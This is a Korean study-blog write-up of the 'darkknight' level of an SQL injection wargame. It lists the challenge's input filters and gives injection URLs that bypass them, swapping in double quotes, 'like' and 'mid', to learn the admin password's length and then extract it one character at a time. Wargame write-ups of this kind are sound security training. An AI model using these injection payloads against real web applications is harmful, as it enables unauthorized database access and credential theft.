IT보안관의 공부 클라우드
[los]darkkinght 본문
query : select id from prob_darkknight where id='guest' and pw='' and no=
1. preg_match no : prob _ . ( )
2. preg_match no : ' substr ascii =
3. preg_match pw : '
코드를 보면 id값이 admin인 pw 값을 구해아함.
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw='a' and no=1|| 1 like 1 and id like "admin"
'(싱글쿼터)를 "(더블쿼터)로 우회.
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw='a' and no=1||id like "admin" and length(pw) like 8
pw길이 알아내기
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw='a' and no=1||id like "admin" and mid(pw,1,1) like 0
substr을 mid 함수로 우회
파이썬코드
'워게임 > los' 카테고리의 다른 글
[los]bugbear (0) | 2021.06.23 |
---|---|
[los]golem (0) | 2021.06.18 |
[los]skeleton (0) | 2021.06.08 |
[los]vampire (0) | 2021.06.01 |
[los]troll (0) | 2021.05.28 |
Comments